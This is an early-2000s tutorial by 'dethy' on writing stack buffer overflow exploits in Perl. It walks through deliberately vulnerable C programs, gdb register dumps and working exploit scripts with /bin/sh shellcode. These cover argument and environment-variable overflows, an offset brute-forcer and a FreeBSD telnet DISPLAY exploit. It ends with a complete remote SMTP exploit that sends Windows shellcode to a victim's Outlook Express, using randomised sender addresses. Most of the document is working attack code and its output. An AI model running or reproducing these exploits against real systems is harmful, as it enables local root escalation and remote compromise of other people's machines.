Stack Exploit Coding - A PERL perspective

 

dethy@synnergy.net

 

Introduction

 

PERL stack buffer overflow exploits aren't as well explored as C

exploits when it comes to munging the stack. This brief paper will

outline ways PERL can be used to create a working exploit with greater

ease than standard C based exploits. Afterall PERL was developed for

data manipulation, why not put it to use ? ;)

 

 

Overview

 

Let's begin with a simple and common example.

 

-- vuln.c --

#include <stdio.h>

int main(int argc, char **argv) {

char buffer[180];

if(argc>1)

strcpy(buffer,argv[1]);

printf("got data!\n");

}

 

-- end vuln.c --

 

The overflow is obvious. A direct copy without any boundary checks into

'buffer' allows an overflow to take form, and potentially overwrite the

EIP memory address.

 

[ dethy@fw ~ ]$ gcc -o vuln vuln.c

[ dethy@fw ~ ]$ ./vuln A

got data!

 

 

okay. Nothing great here. Let's increase our input data.

 

[dethy@fw ~ ]$ ./vuln `perl -e 'print "A"x184'`

got data!

Segmentation fault(core dump)

 

Looks like we've overflowed the buffer, but have we overwritten the

EIP to modify program execution later on?

 

It's important to remember that memory is a 4 byte address held in

1 byte char.

 

Example:

 

| 83 | --

| 84 | -- 4 bytes of data store 1 memory address

| 85 | --

| 86 | --

 

| 87 | --

| 88 | -- another 4 bytes for the next address

| 89 | --

| 90 | --

 

 

Let's get back to the snapshot of the memory image we forced the

program to dump.

 

[ dethy@fw ~ ]$ gdb vuln core --quiet

Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Loaded symbols for /lib/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

#0 0x40033a1e in __libc_start_main () from /lib/libc.so.6

(gdb) info reg

eax 0x400ff0d8 1074786520

ecx 0xbffff910 -1073743600

edx 0x1 1

ebx 0x400ffed4 1074790100

esp 0xbffff908 0xbffff908

ebp 0x41414141 0x41414141

esi 0x4000acb0 1073786032

edi 0xbffff954 -1073743532

eip 0x40033a1e 0x40033a1e

eflags 0x10292 66194

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x2b 43

gs 0x2b 43

 

Important registers we're primarily concerned with:

 

* esp - extended stack pointer

* ebp - extended base pointer

* eip - extended instruction pointer

 

As we can see, EIP didn't get overwritten but EBP did.

Now we know the memory layout looks like this:

 

__|__

| |

| EBP | - 4 byte address

|_____|

__|__

| |

| EIP | - next 4 byte address

|_____|

 

 

so wisely we know if we add an extra 4 bytes of data to our input

string ie ./vuln `perl -e 'print "A"x88'` we will completey

overwrite the instruction pointer(eip).

 

[ dethy@fw ~ ]$ ./vuln `perl -e 'print "A"x88'`

got data!

Segmentation fault (core dumped)

 

[ dethy@fw ~ ]$ gdb vuln core --quiet

Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Loaded symbols for /lib/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

#0 0x41414141 in ?? ()

(gdb) info reg

eax 0xa 10

ecx 0x40014000 1073823744

edx 0x400fe660 1074783840

ebx 0x400ffed4 1074790100

esp 0xbffff910 0xbffff910

ebp 0x41414141 0x41414141

esi 0x4000acb0 1073786032

edi 0xbffff954 -1073743532

eip 0x41414141 0x41414141

eflags 0x10282 66178

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x2b 43

gs 0x2b 43

 

Our prediction is correct. The 0x41 is the hex equivalent of "A", a

complete overwrite was successful.

 

our buffer looked like this:

 

EIP

______|_______

/ | | \

187 188 189 190

A A A A -> our input data

41 41 41 41 -> hex address( 41414141 )

 

 

Now how do we create the exploit ?

First step is to take the ESP value, in this instance it was

0xbffff910. Create the shellcode to execute a /bin/sh shell, and fill

the $buf with the length of the data we used to overwrite EIP, and

$ret with the ESP value.

 

-- exp.pl --

 

#!/usr/bin/perl

$shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

$ret = 0xbffffaa0;

$buf = 188;

$egg = 2000;

$nop = "\x90";

$offset = 0;

 

if (@ARGV == 1) { $offset = $ARGV[0]; }

 

$addr = pack('l', ($ret + $offset));

for ($i = 0; $i < $buf; $i += 4) {

$buffer .= $addr;

}

 

for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++) {

$buffer .= $nop;

}

 

$buffer .= $shellcode;

 

exec("./vuln", $buffer,0);

 

-- end exp.pl --

 

[ dethy@fw ~ ]$ perl exp.pl

got data!

Illegal instruction

Ouch. Looks like we're just off from getting that /bin/sh shell. Now,

let's bring $offset into play to use as a range of where our shellcode

may be stored in memory. Run the following script to obtain the

correct offset required to bust a shell. ;)

 

#!/usr/bin/perl

for($i=-2000;$i<2000;$i++) {

print("trying offset: $i\n");

system("ulimit -c 0;./exp.pl $i");

}

 

[ dethy@fw ~ ]$ perl brute.pl

trying offset: -2000

got data!

trying offset: -1999

got data!

..

trying offset: 100

bash#

 

(of course if the program were suid it would drop us to root, for the

purpose of this tutorial I made the vulnerable program setuid root).

 

So offset 100 is where our payload is. Let's add this to the initial

exp.pl

 

[ dethy@fw ~ ]$ id

uid=511(dethy) gid=100(users) groups=100(users)

[ dethy@fw ~ ]$ ./exp.pl 100

got data!

bash# id

uid=0(root) gid=100(users) egid=0(root) groups=100(users)

 

bingo. As is displayed we found the /bin/sh address in memory.

 

Of careful not is to recognise that the above exploit made an $egg and

filled the buffer containing NOPS + SHELLCODE + RET outside the vulnerable

buffer. That means, we created the payload in another buffer, since the

original may have been slightly too small for our needs.

 

Now for an example of an environment variable overflow, as opposed to

command line input argument overflow.

 

-- vuln2.c --

 

#include <stdio.h>

main() {

char buffer[1024];

if (getenv("USER") == NULL) {

fprintf(stderr, "Oops!\n");

exit(1);

}

 

strcpy(buffer, (char *)getenv("USER"));

printf("Environment variable USER is:\"%s\".\n", buffer);

return 1;}

 

-- end vuln2.c --

 

an excessively long USER environment variable will be copied unchecked

into the buffer which has a 1024 char limit. With this given knowledge

let's bring some practically into play.

 

[ dethy@fw ~ ]$ ./vuln2

Environment variable USER is: "dethy".

[ dethy@fw ~ ]$

 

Assumed:

1025 1026 1027 1028 would be the address of EBP

1029 1030 1031 1032 would be the EIP

 

So once against 1032 char string for the USER environment variable

would overwrite EIP.

 

[ dethy@fw ~ ]$ export USER=`perl -e 'print "A"x1032'`

 

[ dethy@fw ~ ]$ ./vuln2

Environment variable USER is:

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".

 

Segmentation fault (core dumped)

 

[ dethy@fw ~ ]$ gdb vuln2 core --quiet

(no debugging symbols found)...Core was generated by `./vuln2'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0 0x41414141 in ?? ()

(gdb) info reg esp

esp 0x7ffff8e0 0x7ffff8e0

 

the esp address will be the address to use in our exploit, so let's

create it. The aformentioned exp.pl exploit was an example of making

the payload outside the buffer (first demonstrated by the infamous aleph1).

Now, since this vulnerable buffer is large enough to pad with our shellcode

we will fill this buffer with our payload, inside the buffer itself.

 

-- exp2.pl --

 

#!/usr/bin/perl

$shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0" .

"\x88\x46\x07\x89\x46\x0c\xb0\x0b" .

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" .

"\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

$buf = 1032;

$ret = 0x7ffff8e0;

$nop = "\x90";

$offset = -96; # worked for me

 

if (@ARGV == 1) { $offset = $ARGV[0]; }

 

for ($i = 0; $i < ($buf - length($shellcode) - 100); $i++) {

$buffer .= $nop;

}

 

$buffer .= $shellcode;

$addr = pack('l', ($ret + $offset));

for ($i += length($shellcode); $i < $buf; $i += 4) {

$buffer .= $addr;

}

$ENV{'USER'} = $buffer; exec("./vuln2");

 

-- end exp2.pl --

 

Environment variable USER is:

"

1À1Ûøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿ".

 

bash#

 

Another important concept to remember is that offset guessing can be

avoided by deleting all the values from the environment.

 

Example:

 

foreach $key (keys %ENV) {

delete $ENV{$key};

}

 

Of course this scenario blooms in an environment overflow such as the

getenv() overflow described above.

 

 

-- telnetex.pl --

 

$egg = "\x90" x 1500;

# FreeBSD x86 shellcode

$egg .= "\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76" .

"\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b" .

"\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff" .

"\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff" .

"\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02" .

"\x02\x02\x02/bin/sh.-c.sh";

 

foreach $key (keys %ENV) {

delete $ENV{$key};

}

 

for ($i = 0; $i < 100; $i++) { $buf .= "\x01\xda\xbf\xbf"; }

 

$ENV{"DISPLAY"} = $buf;

$ENV{"egg"} = $egg;

system("/usr/bin/telnet localhost");

 

-- end telnetex.pl --

 

In the above example displays a different coding style. The $egg

appends the NOPS (\x90) and shellcode via PERLs concatentation

implementation ( .= ) The $buf is loaded backwards (how the system

manually processes the address),

 

\x01\xda\xbf\xbf = 0xbfbfda01

 

The DISPLAY variable is then stored with this value, and when telnet

negotiaties client/server transactions the DISPLAY is run pointing to

the $egg in memory, where our shellcode is stored.

 

Why create $egg at all, and append the payload to $buf?

 

In many instances the buffer we are overflowing does not hold enough

space for us to load and store our shellcode in (local buffer

overflows). To avoid this problem with small buffers, we create an

$egg and set it as an environment variable. $egg is without size

limitations thus can be as big or small as you want it to be for your

shellcode storage. All that is required is to the point the $ret to

the address of where the $egg is stored and the shellcode will be

executed from there. Only a few bytes is required to store the $ret

address in the buffer avoiding several problems aswell. ;)

 

 

The next Proof of Concept example was an exploit I created for

UssrLabs that spawned a IE browser on the victims machine. The

foundation of this exploit relies on MIME header overflow in OutLook

Express 4.X and 98.

 

-- outoutlook.pl --

#!/usr/bin/perl

#

# Arbitary shellcode injector over SMTP exploits Microsoft Outlook.

# ./$0 -h <hostname> -m <mail>

# ./dieoutlook.pl -h hostname -m victim@address

#

# By: dethy June 2000

#

use Getopt::Std;

use Socket;

getopt('h:m', \%args);

 

if(defined($args{h})){$serv=$args{h}}else{&usage;}

if(defined($args{m})){$rcpt=$args{m}}else{&usage;}

 

# this data created the overflow

$spawn = "\x2b\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .

"\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .

"\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .

"\x31\x31\x31\x31\x31\x31\x31\x31\x5a\xdc\xae\x20\x78\x0d\x0a";

 

# Windows x86 shellcode

$shellcode = "\xE8\x00\x00\x00\x00\x5D\x81\xED\x40\x10\x40\x00\x81\xC4\x00" .

"\x03\x00\x00\xB8\x38\x10\x00\x01\x8B\x00\x89\x85\x0B\x11\x40\x00" .

"\x8C\xC8\xA8\x04\x75\x08\x8B\x85\x1F\x11\x40\x00\xEB\x06\x8B\x85" .

"\x23\x11\x40\x00\x89\x85\x1F\x11\x40\x00\x8D\x8D\x42\x11\x40\x00" .

"\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x0F\x11\x40\x00\x8D\x8D" .

"\x53\x11\x40\x00\x51\xFF\x95\x0F\x11\x40\x00\x8D\x8D\x34\x11\x40" .

"\x00\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x13\x11\x40\x00\x8B" .

"\x85\x1F\x11\x40\x00\x8D\x8D\x27\x11\x40\x00\x51\x50\xFF\x95\x0B" .

"\x11\x40\x00\x89\x85\x17\x11\x40\x00\x8D\x85\x1B\x11\x40\x00\x50" .

"\x6A\x00\x6A\x00\x8D\x85\xE3\x10\x40\x00\x50\x6A\x00\x6A\x00\x8B" .

"\x85\x17\x11\x40\x00\xFF\xD0\xEB\xFE\x60\xE8\x00\x00\x00\x00\x5D" .

"\x81\xED\xE9\x10\x40\x00\x6A\x00\x6A\x00\x6A\x00\x8D\xB5\x5F\x11" .

"\x40\x00\x56\x6A\x00\x6A\x00\xFF\x95\x13\x11\x40\x00\x61\xC2\x10" .

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .

"\x00\x00\x00\x00\x00\x00\x00\xF0\x77\x00\x00\xF7\xBF\x43\x72\x65" .

"\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00\x53\x68\x65\x6C\x6C\x45" .

"\x78\x65\x63\x75\x74\x65\x41\x00\x47\x65\x74\x4D\x6F\x64\x75\x6C" .

"\x65\x48\x61\x6E\x64\x6C\x65\x41\x00\x73\x68\x65\x6C\x6C\x33\x32" .

"\x2E\x64\x6C\x6C\x00\x77\x77\x77\x2E\x75\x73\x73\x72\x62\x61\x63" .

"\x6B\x2E\x63\x6F\x6D\x00";

 

$ret = 00aedc5a; # return address

$nop = "\x90"; # x86 NOP

$port = 25; # default 25 SMTP port

$buffsize = 1348; # buffer size

$buffer .= $nop x 945; # load $buffer with 945 NOP then

$shellcode

$buffer .= $shellcode; # append shellcode to buffer

$offset = (hex $ret); # return hex string to corresponding

value

$code = pack("l", $offset); # signed long order

while (length $buffer < $buffsize) { $buffer .= $code; }

$buffer .= "\n\n";

print "$code\n";

 

# create random MAIL FROM field. format is: [ alphanumeric ] @ [ characters ] . [ domain ]

 

$max=(int rand 15);

@a=('a'..'z', '1'..'10'); for (1..$max) { $str .= $a[rand @a] }

@a=('a'..'z'); for (1..$max) { $host .= $a[rand @a] }

@dom = ('.com', '.net', '.org');

$rdom = $dom[ rand @dom ];

$rmail = $str . "@" . $host . $dom;

print "random address set to: $rmail\n";

 

# random date method, format: Date: <day>, <int-day> <month> 2000 <time>

 

@days = ('Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun');

$rday = $days[ rand @days ];

$rcal=(int rand(31));

$rhour=(int rand(23)); if ($rhour < 10){ $rhour = "0".$rhour; }

$rmin=(int rand(59)); if ($rmin < 10){ $rmin = "0".$rmin; }

$rsec=(int rand(59)); if ($rsec < 10){ $rsec = "0".$rsec; }

@months = ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Oct', 'Sep', 'Nov', 'Dec');

$rmonth = $months[ rand @months ];

$date = "Date: ".$rday.","; if ( $rcal >9 ){$date = $date."$rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}

else { $date = $date." $rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}

print "date set to: $date\n";

 

$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");

$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");

$proto = getprotobyname('tcp') || die("Error: $!\n");

 

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");

connect(S, $paddr) || die("Error: $!\n");

select(S); $| = 1; select(STDOUT);

 

# begin our SMTP transaction

print "now starting SMTP transaction\n";

$res=<S>; print "$res\n";

print "sending HELO\n";

sleep 2;

print S "HELO\r\n";

$res=<S>; print "$res\n";

print "sending MAIL FROM\n";

sleep 2;

print S "MAIL FROM:$rmail\r\n";

$res=<S>; print "$res\n";

print "sending RCPT\n";

sleep 2;

print S "RCPT TO:$rcpt\r\n";

$res=<S>; print "$res\n";

print "sending DATA\n";

sleep 2;

print S "DATA\r\n";

$res=<S>; print "$res\n";

print "sending escape characters\n";

print S "$date";

print S "$spawn";

print "sending shellcode\n";

print S "$shellcode\r\n\r\n\r\n";

$res=<S>; print "$res\n";

print S ".\r\n";

print S "QUIT\r\n";

print "shellcode spawn was successful\n";

close(S);

 

sub usage {die("\n\n./$0 -h <hostname> -m <mail>\n\n");}

 

-- end outoutlook.pl --

 

I hope by now you understand why PERL offers its data handling and

flexibility a great deal better than C can and as a result allows

easy exploitation to take place.

 

Hope you enjoy the ideas portrayed ;)

 

--------------------------------------------------------------------------------------

dethy [ dethy@synnergy.net | www.synnergy.net Synnergy Networks 1998-2001 ]